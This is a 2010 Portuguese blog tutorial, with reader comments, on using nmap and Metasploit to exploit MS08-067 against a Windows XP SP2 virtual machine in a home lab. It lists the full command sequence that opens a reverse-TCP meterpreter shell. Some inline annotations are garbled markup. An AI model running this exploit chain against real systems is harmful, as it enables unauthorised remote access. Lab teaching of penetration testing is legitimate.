quinta-feira, 25 de março de 2010

Intrusão Simples com Metasploit

Salve! Salve! Aqui vai mais um textinho falando sobre o framework Metasploit. Irei demonstrar algumas técnicas simples/básicas de scanning e fingerprint usando o Metasploit e em seguida exploraremos uma máquina MS para obtermos uma shell. Let`s go???


Começando!
Bom galera, vamos começar!

Para que você possa ter uma boa noção de como o Metasploit realmente funciona, nada melhor que conseguir obter o acesso a uma máquina (Virtual) e assim poder testar e estudar todas suas funcionalidades, ficando cada dia mais "afiado" em seus testes de intrusão. Sim, este artigo é bem básico.

O cenário utilizado foi o seguinte:



Neste caso, são 2 máquinas virtuais (VMs) criadas usando o Virtualbox. As placas de rede de ambas VMs, estão configuradas como bridge.

1ª VM = Sistema Operacional Backtrack 4 Final com endereço IP 192.168.0.170.
2ª VM = Sistema Operacional Windows XP SP2 com endereço IP 192.168.0.186.

Quer saber mais sobre virtualbox? Digite "virtualbox" no google que encontrará ótimos artigos/dicas sobre o mesmo.

Scanning com Nmap e Metasploit

Ok pessoal, vamos utilizar a ferramenta "nmap" para fazer o scanning em nossa rede interna.
Abra um terminal no micro com o backtrack e digite a seguinte sintaxe:

# nmap -v -sS --script=smb-check-vulns 192.168.0.0/24

-v = Modo Verbose
-sS = TCP Syn Scan
--script=smb-check-vulns = Script para verificar vulns conhecidas, como por exemplo, MS08-067, Conficker, regsvc DoS e SMBv2 exploit.
192.168.0.0/24 = Range de IP utilizado em minha rede local.



Se repararem, no host com endereço IP 192.168.0.186, verá que é mostrado as portas que estão abertas, e em MS08-067 está como VULNERABLE, tendo essa "simples" base, vamos atacá-lo.
Certo, descobrimos um host dentro da nossa LAN que está possívelmente vulnerável ao nosso ataque pretendido!
Agora vamos carregar o Metasploit. No terminal, basta digitar msfconsole e...



Obtemos nosso console do msf. Dei uma personalizada na saída :-)

Feito isto, vamos efetuar a intrusão na máquina.
Os comando são os seguintes:

use exploit/windows/smb/ms08_067_netapi <------ aqui="" exploit="" falamos="" ms08_067_netapi="" o="" p="" que="" queremos="" usar="">
set RHOST 192.168.0.186 <------ aqui="" caso="" com="" da="" endere="" host="" ip="" no="" nosso="" o="" p="" que="" remoto="" setamos="" sp2="" vm="" windows="" xp="">
set PAYLOAD windows/meterpreter/reverse_tcp <------ a="" aqui="" comunica="" criar="" e="" ele="" entre="" especificamos="" iremos="" lhost="" nossa="" o="" p="" payload="" por="" que="" respons="" reverse_tcp="" rhost.="" utilizar="" vel="">
set LHOST 192.168.0.170 <------ 4.="" aqui="" backtrack="" caso="" com="" da="" endere="" host="" ip="" local="" no="" nosso="" o="" p="" que="" setamos="" vm="">
exploit <------ a="" abaixo.="" e="" executamos="" exploit.="" finalmente="" imagem="" nosso="" observem="" p="">


Pronto! Ganhamos nossa shell meterpreter, ou seja, já estamos na máquina alvo. Experimente dar os comandos sysinfo e ipconfig.



Ok! Vamos ver outros recursos que podemos utilizar antes de executarmos o exploit.

Opções Metasploit

Quando executamos o comando exploit, será realizado um "fingerprint" para a detecção do Sistema Operacional e verificar se o mesmo consta em sua lista de SOs vulneráveis.
Como vimos atráves do script do nmap que nosso alvo é vulnerável, podemos "nós" realizar o processo de fingerprint e passar as especificações corretas para o msf, assim nosso exploit não precisará realizar esta etapa, gerando possibilidades menores de erros.

Certo, mais como? Poderiamos fazer utilizando o nmap, mais vamos utilizar um módulo auxiliar presente no metasploit para descobrir a versão do SO, o idioma, nome da máquina e o domínio.

Executaremos os seguintes comandos:

use auxiliary/scanner/smb/smb_version <---- falamos="" o="" p="" que="" queremos="" scanner="" smb_version.="" utilizar="">
set RHOSTS 192.168.0.186 <---- 192.168.0.0="" aqui="" especificar="" eu="" exemplo="" host="" mais="" nico="" p="" poderia="" range="" setei="" um="">
run <---- comando="" executar="" nosso="" p="" para="" scanner.="">


Agora já sabemos a versão certa do SO e o idioma, com isso especificaremos em nosso exploit usando a opção set TARGET.

use exploit/windows/smb/ms08_067_netapi <------ aqui="" exploit="" falamos="" ms08_067_netapi="" o="" p="" que="" queremos="" usar="">
set RHOST 192.168.0.186 <------ aqui="" caso="" com="" da="" endere="" host="" ip="" no="" nosso="" o="" p="" que="" remoto="" setamos="" sp2="" vm="" windows="" xp="">
set PAYLOAD windows/meterpreter/reverse_tcp <------ a="" aqui="" comunica="" criar="" e="" ele="" entre="" especificamos="" iremos="" lhost="" nossa="" o="" p="" payload="" por="" que="" respons="" reverse_tcp="" rhost.="" utilizar="" vel="">
set LHOST 192.168.0.170 <------ 4.="" aqui="" backtrack="" caso="" com="" da="" endere="" host="" ip="" local="" no="" nosso="" o="" p="" que="" setamos="" vm="">
set TARGET 31 <------ alvo="" aqui="" digo="" est="" eu="" o="" p="" que="" usando.="">
exploit <------ a="" abaixo="" com="" comando="" e="" este="" executamos="" exploit.="" exploit="" finalmente="" imagem="" listado="" ms08_067="" na="" nosso="" o="" os="" p="" s.o.s="" show="" targets="" todos="" veis="" vulner="">


Veja abaixo que irei utilizar a opção 31.



Veja o ataque agora.



Veja que não foi realizado a etapa de fingerprint com o alvo, pois "falamos" para o exploit, o S.O. que ele encontrará em seu destino.

Ok! Finish! The end! Heheheh

Ah!



É isso galera, intrusão simples, sendo recomendado para quem ainda está começando com o Metasploit.
Como continuação, poderão seguir o outro artigo que escrevi sobre o Metasploit.

Metasploit Exploitation
http://codesec.blogspot.com/2010/02/metasploit-exploitation.html

Abraços a todos!


Roberto Soares (3spreto)
codesec.blogspot.com
WWW.backtrack.com.br
robertoespreto@gmail.com
espreto@backtrack.com.br
®













6 comentários:

  1. Por que o senhor esta ensinando a invadir em um sistema operacional que esta desatualizado(sp2), ja estamos com o sp3+ updates adicionais, o windows q voce usou nas maquinas virtuais são copias genuinos?
    e outra, faça testes com windows 7, pois sairam muitas noticias q ele é mais seguro.

    by:Infectous!

    ResponderExcluir
  2. Olá Infectous,

    Já no começo do post eu escrevo:

    "Para que você possa ter uma boa noção de como o Metasploit realmente funciona, nada melhor que conseguir obter o acesso a uma máquina (Virtual) e assim poder testar e estudar todas suas funcionalidades, ficando cada dia mais "afiado" em seus testes de intrusão. Sim, este artigo é bem básico."

    Sim, possuo algumas cópias originais de Windows, quando não, baixo as imagens da NIST.

    Ok, vou ouvir sua dica e verei se em breve escreve algo sobre win7 e também sobre a família Servers.
    Abraços.

    ®

    ResponderExcluir
  3. Muito bom amigoo..pra começar isso ta shhoww..

    alias nao consegui porque minha VM nao conecta na rede eu deixei como bridge e nada.. se conecto minha rede direto na VM fico sem conecçao na rede ativa..ou seja nao consegui fazer conexao com o ip da minha VM..
    poderia dar um help..obrigadoo.
    (Ps: VM =virtual machine pra qem nao sabe)

    ResponderExcluir
  4. Fala espreto

    Amigo tentei fazer seu tuto, quase consegui... Saiu praticamente idêntico o único problema foi da aplicação do exploit que dava a mensagem de "executado com sucesso, mas não foi possível fazer a conexão", algo assim!

    Será que é devido aquele problema da VM ser NAT? Pois estou achando que é, não sei, todos os meus testes dão furo, só os mais triviais que não.

    Posso te mandar um e-mail com um link para ver o que acha?

    Parabéns...

    Abraços

    ResponderExcluir
  5. eu tenho uma duvida tem como usar o metasploit sem ser em LAN? conectado em rede

    ResponderExcluir
  6. seria bom da uma pesquisada na net para saber como deixar estes serviços vul para realizar os testes.

    obrigado por compartilhar.

    ResponderExcluir

To get the latest update of me and my works

>> <<